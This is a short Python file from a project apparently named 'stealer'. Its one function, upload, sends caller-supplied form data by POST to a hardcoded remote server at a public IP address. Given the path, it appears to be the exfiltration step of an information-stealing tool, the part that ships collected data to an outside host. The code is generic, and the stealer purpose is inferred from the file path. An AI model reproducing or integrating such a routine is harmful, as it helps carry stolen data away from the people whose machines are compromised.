'''
Author: linxuan
Date: 2022-07-15 13:07:48
Description: 调用上传接口
FilePath: /stealer/src/opload.py
'''

import requests


def upload(params):
    url = "http://124.71.99.107:5000/ntfAdd"
    # url = "http://127.0.0.1:5000/ntfAdd"

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    resp = requests.request("POST", url, headers=headers, data=params)
    # print(resp.request.headers)
    # print(resp.request.body)
    return resp.status_code, resp.text
